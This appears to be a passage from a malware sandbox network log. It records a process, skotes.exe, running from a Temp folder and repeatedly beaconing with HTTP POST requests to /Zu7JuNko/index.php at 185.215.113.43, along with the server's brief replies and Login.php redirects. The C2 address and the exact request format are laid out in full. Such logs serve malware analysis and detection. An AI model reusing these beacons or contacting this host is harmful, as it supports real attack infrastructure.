Nov 20, 2024 08:13:32.994533062 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:13:33.702435017 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	61340	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:35.327159882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:13:36.026809931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	61341	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:37.540353060 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:13:38.237603903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	61342	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:39.876216888 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:13:40.577182055 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	61343	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:42.088126898 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:13:42.791273117 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	61344	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:44.421736956 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:13:45.131134033 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	61346	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:46.655082941 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	61347	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:48.828345060 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:13:49.530946016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	61348	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:51.042514086 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:13:51.744477034 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	61349	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:53.376554966 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:13:54.082818985 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	61350	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:55.609196901 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:13:56.312062979 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	61351	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:57.941596031 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:13:58.637887001 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	61352	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:00.155193090 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:14:00.861561060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	61353	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:02.488464117 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:14:03.189527988 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	61354	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:04.721653938 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:14:05.425298929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	61355	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:07.055927038 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:14:07.769481897 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	61356	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:09.292124987 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:14:10.013268948 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	61357	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:11.642345905 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:14:12.361016035 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	61358	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:13.883351088 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:14:14.585560083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	61359	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:16.208184004 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:14:16.908222914 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	61360	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:18.424537897 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:14:19.128391981 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	61362	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:20.755749941 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:14:21.473958015 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	61363	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:23.008488894 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:14:23.702557087 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:14:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	61364	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:14:25.321619034 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
